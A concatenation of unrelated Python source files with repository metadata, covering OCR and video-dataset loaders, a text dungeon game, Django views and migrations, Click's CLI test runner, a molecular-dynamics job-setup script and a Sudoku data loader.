f"{cloud_path}/data_object_calib.zip" left_images_zip_key = f"{cloud_path}/data_object_image_2.zip" left_image_labels_zip_key = f"{cloud_path}/data_object_label_2.zip" all_zips = [ calib_zip_key, left_images_zip_key, left_image_labels_zip_key, ] local_zips = [] for z in all_zips: local_path = os.path.join(self.root, z.split("/")[-1]) cloud_client.download( bucket_name=const.GCS_BUCKET, object_key=z, localfile=local_path ) local_zips.append(local_path) calib_zip, local_left_images_zip, local_labels_zip = [ os.path.abspath(z) for z in local_zips ] return calib_zip, local_left_images_zip, local_labels_zip def _unzip2dir(self, *, zip_path, src, dst): """ Args: zip_path: path to zip file src: the path within the unziped files to the file (or dir) to move dst: where to move the file (or dir) specified in src to """ logger.info(f"extracting from {src} to {dst} ") with tempfile.TemporaryDirectory() as tmp: with zipfile.ZipFile(zip_path, "r") as zip_dir: zip_dir.extractall(tmp) shutil.move(os.path.join(tmp, src), dst) def download(self, cloud_path=KITTI_GCS_PATH): logger.info(f"downloading kitti dataset from cloud storage") # todo is currently only downloading left color images cloud_client = GCSClient() self._download_sample_indices_file(cloud_client=cloud_client) calib_zip, left_images_zip, labels_zip = self.download_kitti_zips( cloud_client=cloud_client ) with zipfile.ZipFile(left_images_zip, "r") as zip_ref: zip_ref.extractall(self.root) testing_dir = os.path.join(self.root, "testing") training_dir = os.path.join(self.root, "training") self._unzip2dir( zip_path=calib_zip, src=os.path.join("testing", "calib"), dst=os.path.join(testing_dir, "calib"), ) self._unzip2dir( zip_path=calib_zip, src=os.path.join("training", "calib"), dst=os.path.join(training_dir, "calib"), ) self._unzip2dir( zip_path=labels_zip, src=os.path.join("training", "label_2"), dst=os.path.join(training_dir, "label_2"), )

[ "youcyuan@unity3d.com" ]

youcyuan@unity3d.com

38645d8f0380f2ed1ceb29feb80d9462dfc29c58

1ee674004d27b16dfc5541759c910039ccba4d8d

/src/models/crnn.py

98552f83625c25e03ef04238b1e59fc0f04c6a00

[ "MIT" ]

permissive

JediKnightChan/Adapting-OCR

f9dae4c2ca251fee8746a4ed88e3be1936eb847b

0604fe573e58f3d2e918461bdccece3af8b28059

refs/heads/master

2023-03-26T17:19:53.677279

2020-08-30T07:36:30

null

0

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UTF-8

Python

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3,487

py

import torch import torch.nn as nn import torch.nn.functional as F import pdb import numpy as np import random class BidirectionalLSTM(nn.Module): def __init__(self, nIn, nHidden, nOut): super(BidirectionalLSTM, self).__init__() self.rnn = nn.LSTM(nIn, nHidden, bidirectional=True) self.embedding = nn.Linear(nHidden * 2, nOut) def forward(self, input): self.rnn.flatten_parameters() recurrent, _ = self.rnn(input) T, b, h = recurrent.size() t_rec = recurrent.view(T * b, h) output = self.embedding(t_rec) # [T * b, nOut] output = output.view(T, b, -1) return output class SimpleLSTM(nn.Module): def __init__(self, nIn, nHidden): super(SimpleLSTM, self).__init__() self.rnn = nn.LSTM(nIn, nHidden, bidirectional=True) def forward(self, input_): recurrent, _ = self.rnn(input_) T, b, h = recurrent.size() return recurrent class SimpleLinear(nn.Module): def __init__(self, nIn, nOut): super(SimpleLinear, self).__init__() self.linear = nn.Linear(nIn, nOut) def forward(self, x): timesteps, batch_size = x.size(0), x.size(1) x = x.view(-1, 32) x = self.linear(x) # x = x.view(timesteps, batch_size, -1) x = x.unsqueeze(1) return x class CRNN(nn.Module): def __init__(self, opt, leakyRelu=False): super(CRNN, self).__init__() assert opt.imgH % 16 == 0, 'imgH has to be a multiple of 16' ks = [3, 3, 3, 3, 3, 3, 2] ps = [1, 1, 1, 1, 1, 1, 0] ss = [1, 1, 1, 1, 1, 1, 1] nm = [64, 128, 256, 256, 512, 512, 512] cnn = nn.Sequential() def convRelu(i, batchNormalization=False): nIn = opt.nChannels if i == 0 else nm[i - 1] nOut = nm[i] cnn.add_module('conv{0}'.format(i), nn.Conv2d(nIn, nOut, ks[i], ss[i], ps[i])) if batchNormalization: cnn.add_module('batchnorm{0}'.format(i), nn.BatchNorm2d(nOut)) if leakyRelu: cnn.add_module('relu{0}'.format(i), nn.LeakyReLU(0.2, inplace=True)) else: cnn.add_module('relu{0}'.format(i), nn.ReLU(True)) convRelu(0) cnn.add_module('pooling{0}'.format(0), nn.MaxPool2d(2, 2)) # 64x16x64 convRelu(1) cnn.add_module('pooling{0}'.format(1), nn.MaxPool2d(2, 2)) # 128x8x32 convRelu(2, True) convRelu(3) cnn.add_module('pooling{0}'.format(2), nn.MaxPool2d((2, 2), (2, 1), (0, 1))) # 256x4x16 convRelu(4, True) convRelu(5) cnn.add_module('pooling{0}'.format(3), nn.MaxPool2d((2, 2), (2, 1), (0, 1))) # 512x2x16 convRelu(6, True) # 512x1x16 self.cnn = cnn self.rnn = nn.Sequential() self.rnn = nn.Sequential( BidirectionalLSTM(opt.nHidden*2, opt.nHidden, opt.nHidden), BidirectionalLSTM(opt.nHidden, opt.nHidden, opt.nClasses)) def forward(self, input): # conv features conv = self.cnn(input) b, c, h, w = conv.size() assert h == 1, "the height of conv must be 1" conv = conv.squeeze(2) conv = conv.permute(2, 0, 1) # [w, b, c] # rnn features output = self.rnn(conv) output = output.transpose(1,0) #Tbh to bth return output

[ "aniketsinghresearch@gmail.com" ]

aniketsinghresearch@gmail.com

5a7b8942440b0e09640e88480dacb3620fb95a81

0dc288dfaefb5d85db786269c956b8fb17e71b17

/dungeonescape.py

837ea6b889b487affa649ea4e45ca9f3e6281381

[]

no_license

Mrabear79/DungeonMaster

fce10d093464c8156335049ddebde6be8bf4d1b8

e1e362fccbb02d70058cafb12fe286f0d70ad1c3

refs/heads/master

2021-04-26T16:47:04.303778

2016-04-23T03:10:36

56,897,775

0

null

UTF-8

Python

false

6,313

py

from random import randint import time def main(): word = "a" sword = 5 intro() while True: sword, word, finished = TakeTurn(word, sword) if finished: break if sword == 1: word1 = "sword" else: word1 = "swords" print("You have", sword, word1) if sword < 1: print("Out of swords! Sorry you lose!") else: print("You Win!!!") def intro(): time = [1, 2.5, 2, 1.5, 1, 2, 1] text = ["Your in a maze, and you are lost", "Im sure there\'s evil lurking in the shadows...", "There\'s five swords to make it out alive.", "Be wise with them!", "Ready to go!"] print_on_a_timer(time, text) def TakeTurn(word1, sword1): time.sleep(1.5) if sword1 < 1: return sword1, word1, True print("The path T\'s,\nShould we go left (L), right (R) or straight (S)?") turning = str(input().lower()) word1 = "another" while turning not in ["l", "r", "s"]: time.sleep(0.7) print("I didn\'t understand that") turning = input().lower() choice = randint(1, 10) time.sleep(1) if choice == 1: print("You found the exit!") return sword1, word1, True elif choice == 2: print("You found a sword!") time.sleep(1) sword1 = sword1 + 1 return sword1, word1, False elif choice == 3: print("You found two swords!") time.sleep(1) sword1 = sword1 + 2 return sword1, word1, False elif choice == 4: print("You found three swords!") time.sleep(1) sword1 = sword1 + 3 return sword1, word1, False elif choice == 5: print("A demon atacks you!") time.sleep(2) print("You lost two swords") time.sleep(1) sword1 = sword1 - 2 return sword1, word1, False elif choice == 6: print("You found a small treasurechest!") time.sleep(1.5) print("You found a sword!") time.sleep(1) sword1 = sword1 + 1 return sword1, word1, False elif choice == 7: print("A witch confuses you with a spell!") time.sleep(2) print("You lost a sword") time.sleep(1) sword1 = sword1 - 1 return sword1, word1, False elif choice == 8: print("A warlock casts a spell on you!") time.sleep(2.5) print("You feel panic and fear consuming you...") time.sleep(1.5) print("You cannot fight dark magic like this!") time.sleep(1) print("You lost three swords") time.sleep(1) sword1 = sword1 - 3 return sword1, word1, False elif choice == 9: print("You encounter a woman unconscious on the floor...") time.sleep(1.5) print("As your helping her she turns into a vampire and attacks you") time.sleep(2) print("You lost two swords") time.sleep(1) sword1 = sword1 - 2 return sword1, word1, False else: print("A zombie springs from the shadows onto you!") time.sleep(2) print("You barely get escape with your life...") time.sleep(1.5) print("Or did you? You notice you lost five swords escaping...") time.sleep(1) sword1 = sword1 - 5 return sword1, word1, False def goblin(sword): time1 = [1, 2.5, 1, 1, 1] text = ["'Want to play a game?\n There is three possible outcomes:'", "You lose a sword", "You get a sword", "Nothing happens"] print_on_a_timer(time1, text) goblin = 0 while goblin == 0: print("Will you play? Y or N?") choice2 = input().lower() time.sleep(1) if choice2 not in ["y", "n"]: print("Sorry I don\'t understand that") elif choice2 not in ["y"]: print("Goodbye") TakeTurn() else: print("Ready to play!") time.sleep(1) print("Shaking...") time.sleep(1) print("Throwing...") time.sleep(1) print("Rolling...") time.sleep(1) roulette = randint(1, 3) if roulette == 1: print("Nothing happens") goblin = 1 elif roulette == 2: print("The goblin laughs and takes one of your swords...") sword = sword - 1 goblin = 1 else: print("He screams with anger and tosses you a sword!") sword = sword + 1 goblin = 1 def treasurechest(sword): treasure = 1 while treasure == 1: print("You found a treasure chest! Will you open it? Y or N?") chest = input().lower() if chest not in ["y", "n"]: print("Sorry, I don\'t understand that") elif chest not in ["y"]: print("Goodbye") treasure = 0 else: time.sleep(1) print("You break the lock...") time.sleep(1) print("You grip the chest...") time.sleep(1) print("Opening...") time.sleep(1) chest = randint(1, 6) if chest == 1: print("You found a sword!") sword = sword + 1 treasure = 0 elif chest == 2: print("You found two swords!") sword = sword + 2 treasure = 0 elif chest == 3: print("A ghostly hand reaches out and steals one of your swords!") shield = shield - 1 treasure = 0 elif chest == 4: print("Everything goes black, you wake and two of your swords are gone!") shield = shield - 2 treasure = 0 elif chest == 5: print("The chest is empty") treausre = 0 else: print("A goblin in the chest says...") time.sleep(2) goblin() def print_on_a_timer(times, lines): for times, lines in zip(times, lines): time.sleep(times) print(lines) main()

[ "mrabear79@gmail.com" ]

mrabear79@gmail.com

4058a4aba52d9076ba294a27d437eb8344f2cdb7

668cc2cd1109cf1c207a57ae7decc5ae5edc9728

/backend/users/migrations/0002_auto_20201104_1426.py

d51fe7ac08131e041c8abbbf9f79c5410e4a4133

[]

no_license

crowdbotics-apps/logictech-22290

7538661024c163c16881371468f84c181d1ee93f

f17151874e1fd60a1cc81b247a5e0599421ac6e8

refs/heads/master

2023-01-09T21:14:45.728461

2020-11-04T14:30:13

310,025,912

0

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627

py

# Generated by Django 2.2.17 on 2020-11-04 14:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('course', '0001_initial'), ('users', '0001_initial'), ] operations = [ migrations.AddField( model_name='user', name='group', field=models.ManyToManyField(blank=True, related_name='user_group', to='course.Group'), ), migrations.AlterField( model_name='user', name='name', field=models.CharField(blank=True, max_length=255, null=True), ), ]

[ "team@crowdbotics.com" ]

team@crowdbotics.com

eaf3840aa3f8986f9ac5af4ac914a14e080bd347

cc7ad1a2aa5d691c15ff7838d1e5126ab2c2bee0

/basic_notifications/views.py

b7e1ecc497a68ddf9693738e0e033c9b746371b7

[]

no_license

demirantay/lingooapp

9632be8a7d3dd00e7a4ac13618f32975da389729

c842bb032668ef1bd5e7f4282acd4990843c8640

refs/heads/master

2023-03-14T08:00:37.681334

2021-01-09T09:36:48

285,181,982

1

0

null

UTF-8

Python

false

3,688

py

# Main Imports import json # Django Imports from django.shortcuts import render, get_object_or_404, HttpResponse from django.http import HttpResponseRedirect from django.core.exceptions import ObjectDoesNotExist from django.core.files import File from django.contrib.auth.models import User from django.utils import timezone # My Module ImportsImports from .models import NotificationBase from profile_settings.models import BasicUserProfile from teacher_authentication.models import TeacherUserProfile from utils.session_utils import get_current_user, get_current_user_profile from utils.session_utils import get_current_teacher_user_profile from utils.access_control import delete_teacher_user_session def notifications(request, page): """ in this page the user can see her notifications """ # Deleting admin-typed user session # Deleting programmer-typed-user session # Deleting Teacher-typed user sessions # ACCESS CONTROL delete_teacher_user_session(request) # Get the current users current_basic_user = get_current_user(request, User, ObjectDoesNotExist) current_basic_user_profile = get_current_user_profile( request, User, BasicUserProfile, ObjectDoesNotExist ) # Getting the current teacher profile current_teacher_profile = get_current_teacher_user_profile( request, User, TeacherUserProfile, ObjectDoesNotExist ) # Get all of the notifications try: all_notifications = NotificationBase.objects.filter( notified_user=current_basic_user_profile ).order_by("-id") except ObjectDoesNotExist: all_notifications = None # Get all of the posts # At every page there will be 80 entries so always multiply it by that and # then reduce your objects current_page = page previous_page = page-1 next_page = page+1 post_records_starting_point = current_page * 80 post_records_ending_point = post_records_starting_point + 80 try: current_page_notifications = NotificationBase.objects.filter( notified_user=current_basic_user_profile ).order_by('-id')[post_records_starting_point:post_records_ending_point] except ObjectDoesNotExist: current_page_notifications = None # check if the user has unread notifications has_unread_notifications = False for notification in all_notifications: if notification.is_read == False: has_unread_notifications = True break else: continue # Since the page is visited make all of the notiications read = True current_unread_notifications = {} for notification in all_notifications: if notification.is_read == False: current_unread_notifications[notification.id] = False notification.is_read = True notification.save() else: pass data = { "current_basic_user": current_basic_user, "current_basic_user_profile": current_basic_user_profile, "current_teacher_profile": current_teacher_profile, "all_notifications": all_notifications, "has_unread_notifications": has_unread_notifications, "current_page": current_page, "previous_page": previous_page, "next_page": next_page, "current_page_notifications": current_page_notifications, "current_unread_notifications": current_unread_notifications, } if current_basic_user == None: return HttpResponseRedirect("/auth/login/") else: return render(request, "basic_notifications/notifications.html", data)

[ "demir99antay@gmail.com" ]

demir99antay@gmail.com

7c322b783602c646db72f60dc13730327ca512ba

6766380f77c8bf445c10537f186ad51d701f5b4a

/lib/click/testing.py

fe69318b06208adbe451b18be1cbe96c29cd5640

[]

no_license

pskyp/testflask123

9e7b772cc3573ae079b3199797426880e0fad18f

84814580cfe56bb0a440eaa34e75692b7cf55358

refs/heads/master

2020-03-18T16:38:19.952806

2018-05-26T16:23:43

2018-05-26T16:23:44

134,977,504

0

null

UTF-8

Python

false

11,001

py

import contextlib import os import shutil import sys import tempfile from ._compat import iteritems, PY2 # If someone wants to vendor click, we want to ensure the # correct package is discovered. Ideally we could use a # relative import here but unfortunately Python does not # support that. clickpkg = sys.modules[__name__.rsplit('.', 1)[0]] if PY2: from cStringIO import StringIO else: import io from ._compat import _find_binary_reader class EchoingStdin(object): def __init__(self, input, output): self._input = input self._output = output def __getattr__(self, x): return getattr(self._input, x) def _echo(self, rv): self._output.write(rv) return rv def read(self, n=-1): return self._echo(self._input.read(n)) def readline(self, n=-1): return self._echo(self._input.readline(n)) def readlines(self): return [self._echo(x) for x in self._input.readlines()] def __iter__(self): return iter(self._echo(x) for x in self._input) def __repr__(self): return repr(self._input) def make_input_stream(input, charset): # Is already an input stream. if hasattr(input, 'read'): if PY2: return input rv = _find_binary_reader(input) if rv is not None: return rv raise TypeError('Could not find binary reader for input stream.') if input is None: input = b'' elif not isinstance(input, bytes): input = input.encode(charset) if PY2: return StringIO(input) return io.BytesIO(input) class Result(object): """Holds the captured result of an invoked CLI script.""" def __init__(self, runner, output_bytes, exit_code, exception, exc_info=None): #: The runner that created the result self.runner = runner #: The output as bytes. self.output_bytes = output_bytes #: The exit code as integer. self.exit_code = exit_code #: The exception that happend if one did. self.exception = exception #: The traceback self.exc_info = exc_info @property def output(self): """The output as unicode string.""" return self.output_bytes.decode(self.runner.charset, 'replace') \ .replace('\r\n', '\n') def __repr__(self): return '<Result %s>' % ( self.exception and repr(self.exception) or 'okay', ) class CliRunner(object): """The CLI runner provides functionality to invoke a Click command line script for unittesting purposes in a isolated environment. This only works in single-threaded systems without any concurrency as it changes the global interpreter state. :param charset: the character set for the input and output data. This is UTF-8 by default and should not be changed currently as the reporting to Click only works in Python 2 properly. :param env: a dictionary with environment variables for overriding. :param echo_stdin: if this is set to `True`, then reading from stdin writes to stdout. This is useful for showing examples in some circumstances. Note that regular prompts will automatically echo the input. """ def __init__(self, charset=None, env=None, echo_stdin=False): if charset is None: charset = 'utf-8' self.charset = charset self.env = env or {} self.echo_stdin = echo_stdin def get_default_prog_name(self, cli): """Given a command object it will return the default program name for it. The default is the `name` attribute or ``"root"`` if not set. """ return cli.name or 'root' def make_env(self, overrides=None): """Returns the environment overrides for invoking a script.""" rv = dict(self.env) if overrides: rv.update(overrides) return rv @contextlib.contextmanager def isolation(self, input=None, env=None, color=False): """A context manager that sets up the isolation for invoking of a command line tool. This sets up stdin with the given input data and `os.environ` with the overrides from the given dictionary. This also rebinds some internals in Click to be mocked (like the prompt functionality). This is automatically done in the :meth:`invoke` method. .. versionadded:: 4.0 The ``color`` parameter was added. :param input: the input stream to put into sys.stdin. :param env: the environment overrides as dictionary. :param color: whether the output should contain color codes. The application can still override this explicitly. """ input = make_input_stream(input, self.charset) old_stdin = sys.stdin old_stdout = sys.stdout old_stderr = sys.stderr old_forced_width = clickpkg.formatting.FORCED_WIDTH clickpkg.formatting.FORCED_WIDTH = 80 env = self.make_env(env) if PY2: sys.stdout = sys.stderr = bytes_output = StringIO() if self.echo_stdin: input = EchoingStdin(input, bytes_output) else: bytes_output = io.BytesIO() if self.echo_stdin: input = EchoingStdin(input, bytes_output) input = io.TextIOWrapper(input, encoding=self.charset) sys.stdout = sys.stderr = io.TextIOWrapper( bytes_output, encoding=self.charset) sys.stdin = input def visible_input(prompt=None): sys.stdout.write(prompt or '') val = input.readline().rstrip('\r\n') sys.stdout.write(val + '\n') sys.stdout.flush() return val def hidden_input(prompt=None): sys.stdout.write((prompt or '') + '\n') sys.stdout.flush() return input.readline().rstrip('\r\n') def _getchar(echo): char = sys.stdin.read(1) if echo: sys.stdout.write(char) sys.stdout.flush() return char default_color = color def should_strip_ansi(stream=None, color=None): if color is None: return not default_color return not color old_visible_prompt_func = clickpkg.termui.visible_prompt_func old_hidden_prompt_func = clickpkg.termui.hidden_prompt_func old__getchar_func = clickpkg.termui._getchar old_should_strip_ansi = clickpkg.utils.should_strip_ansi clickpkg.termui.visible_prompt_func = visible_input clickpkg.termui.hidden_prompt_func = hidden_input clickpkg.termui._getchar = _getchar clickpkg.utils.should_strip_ansi = should_strip_ansi old_env = {} try: for key, value in iteritems(env): old_env[key] = os.environ.get(key) if value is None: try: del os.environ[key] except Exception: pass else: os.environ[key] = value yield bytes_output finally: for key, value in iteritems(old_env): if value is None: try: del os.environ[key] except Exception: pass else: os.environ[key] = value sys.stdout = old_stdout sys.stderr = old_stderr sys.stdin = old_stdin clickpkg.termui.visible_prompt_func = old_visible_prompt_func clickpkg.termui.hidden_prompt_func = old_hidden_prompt_func clickpkg.termui._getchar = old__getchar_func clickpkg.utils.should_strip_ansi = old_should_strip_ansi clickpkg.formatting.FORCED_WIDTH = old_forced_width def invoke(self, cli, args=None, input=None, env=None, catch_exceptions=True, color=False, **extra): """Invokes a command in an isolated environment. The arguments are forwarded directly to the command line script, the `extra` keyword arguments are passed to the :meth:`~clickpkg.Command.main` function of the command. This returns a :class:`Result` object. .. versionadded:: 3.0 The ``catch_exceptions`` parameter was added. .. versionchanged:: 3.0 The result object now has an `exc_info` attribute with the traceback if available. .. versionadded:: 4.0 The ``color`` parameter was added. :param cli: the command to invoke :param args: the arguments to invoke :param input: the input data for `sys.stdin`. :param env: the environment overrides. :param catch_exceptions: Whether to catch any other exceptions than ``SystemExit``. :param extra: the keyword arguments to pass to :meth:`main`. :param color: whether the output should contain color codes. The application can still override this explicitly. """ exc_info = None with self.isolation(input=input, env=env, color=color) as out: exception = None exit_code = 0 try: cli.main(args=args or (), prog_name=self.get_default_prog_name(cli), **extra) except SystemExit as e: if e.code != 0: exception = e exc_info = sys.exc_info() exit_code = e.code if not isinstance(exit_code, int): sys.stdout.write(str(exit_code)) sys.stdout.write('\n') exit_code = 1 except Exception as e: if not catch_exceptions: raise exception = e exit_code = -1 exc_info = sys.exc_info() finally: sys.stdout.flush() output = out.getvalue() return Result(runner=self, output_bytes=output, exit_code=exit_code, exception=exception, exc_info=exc_info) @contextlib.contextmanager def isolated_filesystem(self): """A context manager that creates a temporary folder and changes the current working directory to it for isolated filesystem tests. """ cwd = os.getcwd() t = tempfile.mkdtemp() os.chdir(t) try: yield t finally: os.chdir(cwd) try: shutil.rmtree(t) except (OSError, IOError): pass

[ "pierswilcox@gmail.com" ]

pierswilcox@gmail.com

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/kompendie/kompendie/kap.5/5.1.py

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abboliwit/kompendietoliver

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refs/heads/master

2020-04-27T01:33:53.893613

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class person:# en klass som sorterar varje kändis utseende def __init__(self,name,gender, hair, eye): self.name = name self.gender = gender self.hair = hair self.eye = eye kön = str(input("Ange Kön:")) hår = str(input("Ange Hårfärg:")) öga = str(input("Ange Ögonfärg:")) kändis1= person("Daniel Radcliffe","man","brun","brun")# varje kändis utseende kändis2 = person("Rupert Grint","man","röd","blå") kändis3 = person("Emma Watson","kvinna","brun","brun") kändis4 = person("Selena Gomez","kvinna","brun","brun") plist = [kändis1,kändis2,kändis3,kändis4]# en lista på hur många kändisar det finns for individ in plist: if individ.gender == kön and individ.hair == hår and individ.eye == öga:# kollar om användarens utssende matchar någon kändis print(individ.name) match = True if match == False: print("tyvärr ingen matchning")# om utseendet inte gör det så får hen ett medelande

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abboliwit.noreply@github.com

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/p38a_input/L2EE/2EE-2J_MD_NVT_rerun/set_4.py

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[]

no_license

AnguseZhang/Input_TI

ddf2ed40ff1c0aa24eea3275b83d4d405b50b820

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refs/heads/master

2021-05-25T15:02:38.858785

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import os dir = '/mnt/scratch/songlin3/run/p38a/L2EE/MD_NVT_rerun/ti_one-step/2EE_2J/' filesdir = dir + 'files/' temp_prodin = filesdir + 'temp_prod_4.in' temp_pbs = filesdir + 'temp_4.pbs' lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078] for j in lambd: os.chdir("%6.5f" %(j)) workdir = dir + "%6.5f" %(j) + '/' #prodin prodin = workdir + "%6.5f_prod_4.in" %(j) os.system("cp %s %s" %(temp_prodin, prodin)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, prodin)) #PBS pbs = workdir + "%6.5f_4.pbs" %(j) os.system("cp %s %s" %(temp_pbs, pbs)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, pbs)) #submit pbs #os.system("qsub %s" %(pbs)) os.chdir(dir)

[ "songlin3@msu.edu" ]

songlin3@msu.edu

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/CNNLSTM/datasets/ucf101.py

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permissive

ppujari/bai_labs

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9f5a393f23894a4a13b5819b69ea7bd686487432

refs/heads/master

2022-11-23T23:20:28.028523

2020-11-28T16:47:20

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import torch import torch.utils.data as data from PIL import Image import os import math import functools import json import copy from utils import load_value_file def pil_loader(path): # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835) with open(path, 'rb') as f: with Image.open(f) as img: return img.convert('RGB') def accimage_loader(path): try: import accimage return accimage.Image(path) except IOError: # Potentially a decoding problem, fall back to PIL.Image return pil_loader(path) def get_default_image_loader(): from torchvision import get_image_backend if get_image_backend() == 'accimage': return accimage_loader else: return pil_loader def video_loader(video_dir_path, frame_indices, image_loader): video = [] for i in frame_indices: image_path = os.path.join(video_dir_path, 'image_{:05d}.jpg'.format(i)) if os.path.exists(image_path): video.append(image_loader(image_path)) else: return video return video def get_default_video_loader(): image_loader = get_default_image_loader() return functools.partial(video_loader, image_loader=image_loader) def load_annotation_data(data_file_path): with open(data_file_path, 'r') as data_file: return json.load(data_file) def get_class_labels(data): class_labels_map = {} index = 0 for class_label in data['labels']: class_labels_map[class_label] = index index += 1 return class_labels_map def get_video_names_and_annotations(data, subset): video_names = [] annotations = [] for key, value in data['database'].items(): this_subset = value['subset'] if this_subset == subset: label = value['annotations']['label'] video_names.append('{}/{}'.format(label, key)) annotations.append(value['annotations']) return video_names, annotations def make_dataset(root_path, annotation_path, subset, n_samples_for_each_video, sample_duration): data = load_annotation_data(annotation_path) video_names, annotations = get_video_names_and_annotations(data, subset) class_to_idx = get_class_labels(data) idx_to_class = {} for name, label in class_to_idx.items(): idx_to_class[label] = name dataset = [] for i in range(len(video_names)): if i % 1000 == 0: print('dataset loading [{}/{}]'.format(i, len(video_names))) video_path = os.path.join(root_path, video_names[i]) if not os.path.exists(video_path): continue n_frames_file_path = os.path.join(video_path, 'n_frames') n_frames = int(load_value_file(n_frames_file_path)) if n_frames <= 0: continue begin_t = 1 end_t = n_frames sample = { 'video': video_path, 'segment': [begin_t, end_t], 'n_frames': n_frames, 'video_id': video_names[i].split('/')[1] } if len(annotations) != 0: sample['label'] = class_to_idx[annotations[i]['label']] else: sample['label'] = -1 if n_samples_for_each_video == 1: sample['frame_indices'] = list(range(1, n_frames + 1)) dataset.append(sample) else: if n_samples_for_each_video > 1: step = max(1, math.ceil((n_frames - 1 - sample_duration) / (n_samples_for_each_video - 1))) else: step = sample_duration for j in range(1, n_frames, step): sample_j = copy.deepcopy(sample) sample_j['frame_indices'] = list( range(j, min(n_frames + 1, j + sample_duration))) dataset.append(sample_j) return dataset, idx_to_class class UCF101(data.Dataset): """ Args: root (string): Root directory path. spatial_transform (callable, optional): A function/transform that takes in an PIL image and returns a transformed version. E.g, ``transforms.RandomCrop`` temporal_transform (callable, optional): A function/transform that takes in a list of frame indices and returns a transformed version target_transform (callable, optional): A function/transform that takes in the target and transforms it. loader (callable, optional): A function to load an video given its path and frame indices. Attributes: classes (list): List of the class names. class_to_idx (dict): Dict with items (class_name, class_index). imgs (list): List of (image path, class_index) tuples """ def __init__(self, root_path, annotation_path, subset, n_samples_for_each_video=1, spatial_transform=None, temporal_transform=None, target_transform=None, sample_duration=16, get_loader=get_default_video_loader): self.data, self.class_names = make_dataset( root_path, annotation_path, subset, n_samples_for_each_video, sample_duration) self.spatial_transform = spatial_transform self.temporal_transform = temporal_transform self.target_transform = target_transform self.loader = get_loader() def __getitem__(self, index): """ Args: index (int): Index Returns: tuple: (image, target) where target is class_index of the target class. """ path = self.data[index]['video'] frame_indices = self.data[index]['frame_indices'] if self.temporal_transform is not None: frame_indices = self.temporal_transform(frame_indices) clip = self.loader(path, frame_indices) if self.spatial_transform is not None: self.spatial_transform.randomize_parameters() clip = [self.spatial_transform(img) for img in clip] clip = torch.stack(clip, 0) target = self.data[index] if self.target_transform is not None: target = self.target_transform(target) return clip, target def __len__(self): return len(self.data)

[ "avi27.999@gmail.com" ]

avi27.999@gmail.com

4226ca451cc47046f757ad10dee6f3eaf2bad42c

1cab2bce0010b75224eeb43af43bf89bd912dff0

/weather/test_settings.py

d89053e34c0a5edad1d1ea2d912b32118aa8a20d

[]

no_license

mehemmelbachir/videobeat-weather-api

12bb28554f51335ec087a46da0983d8ed1e0eb30

4df7184afbe92e4507816d14296a2b120ba4d9a7

refs/heads/master

2022-12-16T23:17:48.296643

2018-06-19T22:59:23

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from .settings import * import pytest DATABASES = { "default": { "ENGINE" : "django.db.backends.sqlite3", "NAME": ":memory:" } } # EMAIL_BACKEND = 'django.core.mail.backends.locmem.EmailBackend'

[ "mehemmel-bachir@hotmail.com" ]

mehemmel-bachir@hotmail.com

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/test.py

4e82632c1d10e769248d91071e67f954900b2188

[]

no_license

BlockSpaceVictor/SudokuSolverKeras

ab147413b432f8ece214fee33d0d8804e29acdeb

4da2637a5127d049d84521965e5230bb254b18dd

refs/heads/master

2021-05-18T20:56:26.990184

2020-04-20T05:55:10

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import numpy as np import pandas as pd import tensorflow as tf from tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.optimizers import SGD import random import matplotlib.pyplot as plt # sudokuSmall.csv contains 150 puzzles and solutions # sudoky.csv contains 1 million puzzles and solutions # sudokuMedium.csv conains 5300 puzzles and solutions # sudokuBig.csv contains 432032 puzzles and solutions # sudokus_test.csv has 4000 puzzles and solutions def their_data(filename, size): DATA_SIZE = size quizzes = np.zeros((DATA_SIZE, 81), np.int32) solutions = np.zeros((DATA_SIZE, 81), np.int32) for i, line in enumerate(open(filename, 'r').read().splitlines()[1:]): quiz, solution = line.split(",") for j, q_s in enumerate(zip(quiz, solution)): q, s = q_s quizzes[i, j] = q solutions[i, j] = s quizzes = quizzes.reshape((-1, 9, 9)) solutions = solutions.reshape((-1, 9, 9)) return quizzes, solutions def my_data(filename, size): DATA_SIZE = size quizzes = np.zeros((DATA_SIZE, 81), np.int32) solutions = np.zeros((DATA_SIZE, 81), np.int32) for i, line in enumerate(open(filename, 'r').read().splitlines()[1:]): quiz, solution = line.split(",") quiz = quiz[1:-1] solution = solution[2:-1] for j, q_s in enumerate(zip(quiz, solution)): q, s = q_s quizzes[i, j] = q solutions[i, j] = s quizzes = quizzes.reshape((-1, 9, 9)) solutions = solutions.reshape((-1, 9, 9)) return quizzes, solutions #qmillion, smillion = my_data("mixedSudokusBetter.csv", 1000000) q30k, s30k = my_data("30k_mixedSudokus75_80.csv", 30000) q80, s80 = my_data("s_make80.csv", 5000) q78, s78 = my_data("s_make78.csv", 5000) #q75, s75 = my_data("s_make75.csv", 50000) # q70, s70 = my_data("s_make70.csv", 5000) # q65, s65 = my_data("s_make65.csv", 5000) # q60, s60 = my_data("s_make60.csv", 5000) # q47, s47 = my_data("s_make47.csv", 10000) # q57, s57 = my_data("s_make57.csv", 10000) # q59, s59 = my_data("s_make59.csv", 10000) # q65b, s65b = my_data("s_make65b.csv", 10000) # q66, s66 = my_data("s_make66.csv", 10000) # q67, s67 = my_data("s_make67.csv", 10000) # q68, s68 = my_data("s_make68.csv", 10000) # q69, s69 = my_data("s_make47.csv", 10000) # qbig, sbig = their_data("sudokuBig.csv", 432032) SEED = 42 print("Done with file reading") mega_quiz = np.concatenate((q30k,q80,q78), axis=0) mega_sol = np.concatenate((s30k,s80,s78), axis=0) print("Done with concatenate") np.random.seed(SEED) np.random.shuffle(mega_quiz) np.random.seed(SEED) np.random.shuffle(mega_sol) print("Done with mega shuffle") ## these are numpy arrays that look like this: # [[8 6 4 3 7 1 2 5 9] # [3 2 5 8 4 9 7 6 1] # [9 7 1 2 6 5 8 4 3] # [4 3 6 1 9 2 5 8 7] # [1 9 8 6 5 7 4 3 2] # [2 5 7 4 8 3 9 1 6] # [6 8 9 7 3 4 1 2 5] # [7 1 3 5 2 8 6 9 4] # [5 4 2 9 1 6 3 7 8]] #print(quizzes[0]) #print(solutions[0]) def normalize(np_arr): 